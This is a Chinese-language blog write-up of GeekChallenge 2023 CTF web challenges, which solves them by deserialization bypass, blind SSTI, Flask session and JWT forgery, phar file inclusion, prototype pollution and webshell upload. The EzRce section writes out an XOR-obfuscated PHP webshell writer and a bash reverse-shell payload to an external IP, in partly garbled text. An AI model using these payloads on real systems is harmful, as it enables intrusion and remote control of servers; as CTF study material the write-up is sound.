type
Post
status
Published
date
slug
summary
tags
CTF
推荐
category
CTF-WP
category (1)
icon
password
comment

ez_remove

看源代码发现主要是绕过preg_match进行代码执行,这边可以用16进制编码绕过,而且下面有throw new Error(“快来玩快来玩~”);所以要fast destruct,fast destruct主要通过在反序列化最后去掉一个},使它提前触发destruct
payload
这边要注意S的大写
然后用system进行命令执行,发现被搬
image-20231101181954141
image-20231101181954141
后来经过尝试发现貌似只有proc_open没被过滤
用法如下
最后的payload
在公网上监听
image-20231101182636864
image-20231101182636864
反弹成功
接下来读取flag
image-20231101182707716
image-20231101182707716
SYC{2kxBFYwOhKfr3jKi80}

Pupyy_rce

打开环境,发现源码
关键代码
一眼顶真,是无参rce具体参考我的博客无参数命令执行学习
image-20231105112320415
image-20231105112320415
因为是随机返回,所以要多试几次
SYC{1zDgyejyGY3xNMYuAV}

klf_ssti

打开环境查看源码
image-20231105115855402
image-20231105115855402
访问路由/hack
image-20231105115916084
image-20231105115916084
尝试一下get传参klf
image-20231105115944104
image-20231105115944104
根据题目的描述,怀疑存在ssti注入漏洞,但是是盲注,我们先要找到哪里有popen
附盲注的脚本
得到运行结果
image-20231105120117871
image-20231105120117871
经过尝试发现117里有popen,所以构造反弹shell的payload
url加密一下执行上传,同时服务器进行监听
image-20231105120234396
image-20231105120234396
反弹shell之后就是找flag了,这边找得我奔溃了,根本找不到,还好我锲而不舍
image-20231105120650304
image-20231105120650304
SYC{PqCgjFkyhVn6XVdXEU}

you konw flask?

image-20231105151947535
image-20231105151947535
使用robots.txt,发现/3ysd8.html,我们先访问一下
image-20231105152203707
image-20231105152203707
发现session的key
我们去生成一个字典
然后用字典去解session的key,我们先注册一个账户获取key
image-20231105152528856
image-20231105152528856
其中session_key.txt保存密钥,session.txt保存要解密的session
最后得到解密的session和密钥
image-20231105152641587
image-20231105152641587
然后去用flask_session_cookie_manager去加密
其中用户名和session的key换成自己的
image-20231105152804641
image-20231105152804641
拿session去访问
image-20231105153013255
image-20231105153013255
点学员管理
image-20231105153035480
image-20231105153035480
SYC{hIfB1FTMy6A4upFs1B}

famale_imp_l0ve

打开环境
image-20231106185604831
image-20231106185604831
发现只能上传zip文件,而且还不会解压,所以先进行了目录扫描,看看有没有什么其它路由
用dirmap扫描之后发现了一些可疑的路由
image-20231106185733078
image-20231106185733078
访问/index.php/login并查看源代码,发现另一个重要的路由/include.php
image-20231106185838805
image-20231106185838805
访问/include.php路由,得到源码
可以看到文件包含,初步思路是写一个木马命名为1.jpg,将1.jpg压缩成为flag1.zip然后上传,接着在文件包含的漏洞处用phar伪协议来访问压缩包内的木马文件并包含
image-20231106191906927
image-20231106191906927
SYC{qdYQnb1Bu2rsVShSOp}

ez_path

给了一个pyc文件,先进行一下反编译,反编译在线网站:https://www.toolkk.com/tools/pyc-decomplie#google_vignette
关键代码
源代码可以看到flag路径
image-20231107142404095
image-20231107142404095
直接任意文件读取
image-20231107142446373
image-20231107142446373
image-20231107142456549
image-20231107142456549
image-20231107142504554
image-20231107142504554
SYC{5uaaTqP4nlC0AmIvUT}

EzRce

后面getshell之后去看了waf.php的源码,嘿嘿
这边就直接用异或
附上脚本
先看一下phpinfo
payload
image-20231114220714892
image-20231114220714892
image-20231114220830746
image-20231114220830746
看到被过滤了那么多函数,那没办法了,只能写入webshell然后fantanshell了
用file_put_contents(“s.php”,“%26 /dev/tcp/111.229.162.217/777 0>%261"',array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "./error-output.txt", "a")),$pipes);var_dump($pipes);echo stream_get_contents($pipes[1]);?>"); 这边用了proc_open来绕过 但是我们要执行的payload得一步步执行 ``` $_=('%06'^'%60').('%09'^'%60').('%0c'^'%60').('%05'^'%60').('%00'^'%5f').('%0c'^'%7c').('%09'^'%7c').('%08'^'%7c').('%00'^'%5f').('%03'^'%60').('%0f'^'%60').('%0e'^'%60').('%08'^'%7c').('%05'^'%60').('%0e'^'%60').('%08'^'%7c').('%0c'^'%7f');//$_=file_put_contents $__='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d');//$__=_POST $___=$$__;//$___=$_POST $_($___['_'],$___['*']);//file_put_contents($_POST['_'],$_POST['*']); 最后post提交 _=shell.php&*= array(”pipe”, “r”),1 => array(“pipe”, “w”), 2 => array(“file”, “./error-output.txt”, “a”));$process = proc_open(‘bash -c “bash -i >& /dev/tcp/111.229.162.217/777 0>&1”’, $des, pipes); vardump(pipes);echo stream_get_contents($pipes[1]););?>
find ‘which find’ -exec cat /flag ;
简单分析一下大概就是我们先要再/register的路由下注册一个账户,然后要确保是vip(这边要用到原型链污染,因为注册的user类里没isvip),然后再去访问/flag的路由,绕过if判断之后就可以看到flag了
再来看一下注册的前端代码
关键代码
可以看到前端从表单获取数据然后以json的格式返回到后端,那么我们就可以用burp抓包来发送json格式的数据然后并进行原型链污染
构造payload,因为isvip被过滤了,所以我们要用unicode编码来绕过069073076069070
image-20231116111338373
image-20231116111338373
这边要注意几个点,首先使用post发包,其次Content-Type: application/json,最后发送的post内容要符合json格式,可以发现注册成功,接下来先登录一下/login然后接着去访问/flag的路由,用get方法传入一个num=+123456789
执行之后查看源代码就可以得到flag了
image-20231116111836581
image-20231116111836581
SYC{KpMMmU2EQxjPJc6Yb5}

change_it

打开是一个登录界面,查看源代码看到用户名和密码user和user,登录进去
image-20231118125334644
image-20231118125334644
可以看到有文件上传漏洞,但是发现不是管理员没法上传
看一下token
image-20231118125611874
image-20231118125611874
根据前端的代码,猜测大概率是jwt格式的token,和伪造flask的session一样,我们先去爆破一下密码
image-20231118125954882
image-20231118125954882
可以看到爆破出来的密码是yibao,那么接下来就是去伪造token了
image-20231118130128519
image-20231118130128519
将伪造后的session放入cookie
image-20231118130205450
image-20231118130205450
发现可以上传图片了,但是上传木马之后发现木马的名字命名是随机的,但是可以通过源码看到它生成随机密码的函数
但是根据
可以判断出这个是伪随机,我们只要写一个爆破的脚本就行
image-20231118133737382
image-20231118133737382
去用蚁剑连接这个网址
image-20231118133927668
image-20231118133927668
得到flag
SYC{xw5Fv0DwtkRsasfvg1}
GeekChallenge2024GeekChallenge2023-misc
Loading...